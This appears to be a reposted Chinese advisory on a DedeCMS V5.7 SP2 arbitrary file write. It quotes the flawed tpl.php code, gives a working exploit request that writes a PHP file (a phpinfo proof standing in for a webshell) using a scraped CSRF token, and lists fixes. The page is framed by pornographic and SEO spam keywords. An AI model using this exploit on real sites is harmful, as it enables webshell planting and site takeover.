国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > 織夢DEDE > 正文

dedecms V5.7 SP2 友情鏈接CSRF+任意文件寫入漏洞

2024-08-30 19:08:09
字體:
來源:轉載
供稿:網友

DedeCMS V5.7 SP2版本中tpl.php存在代碼執行漏洞,攻擊者可利用該漏洞在增加新的標簽中上傳木馬,獲取webshell。筆者是2018年2月28日在官網下載的DedeCMS V5.7 SP2版本程序,截至發稿,漏洞依然存在。

漏洞詳情

織夢默認的后臺地址是/dede/,當然也可以被更改,到時候根據網站具體情況替換默認后臺地址即可。

dede/tpl.php中第251行到281行

 

csrf_check();

 

if(!preg_match("#^[a-z0-9_-]{1,}/.lib/.php$#i", $filename))

 

{

 

    ShowMsg('文件名不合法,不允許進行操作!', '-1');

 

    exit();

 

}

 

require_once(DEDEINC.'/oxwindow.class.php');

 

$tagname = preg_replace("#/.lib/.php$#i", "", $filename);

 

$content = stripslashes($content);

 

$truefile = DEDEINC.'/taglib/'.$filename;

 

$fp = fopen($truefile, 'w');

 

fwrite($fp, $content);

 

fclose($fp);

 

1.由于dedecms全局變量注冊的特性,所以這里的content變量和filename變量可控。

2.可以看到將content直接寫入到文件中導致可以getshell。但是這里的文件名經過正則表達式,所以必須要.lib.php結尾。

注意: 這里還有一個csrf_check()函數,即請求中必須要帶token參數。

漏洞利用

1.首先獲取token 訪問 域名 + /dede/tpl.php?action=upload。在頁面源代碼中獲取到token值 

dedecms V5.7 SP2 友情鏈接CSRF+任意文件寫入漏洞

然后訪問 :

域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值

dedecms V5.7 SP2 友情鏈接CSRF+任意文件寫入漏洞

shell:域名 + /include/taglib/moonsec.lib.php

漏洞修復

1.禁止/include/taglib/此處寫入文件。

2.過濾惡意標簽

3.刪除dede/tpl.php 文件


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 昆明市| 台州市| 长沙市| 蓬莱市| 临夏市| 和田市| 高雄县| 安福县| 柳河县| 阿拉善左旗| 湛江市| 鄄城县| 武夷山市| 出国| 林西县| 资中县| 莱西市| 寿光市| 永平县| 宝应县| 铜鼓县| 丰宁| 辉县市| 瑞安市| 丹凤县| 唐河县| 阿合奇县| 武陟县| 波密县| 庆城县| 塔城市| 二连浩特市| 贡嘎县| 固安县| 阜康市| 元江| 广丰县| 长岛县| 汕尾市| 宜川县| 尖扎县|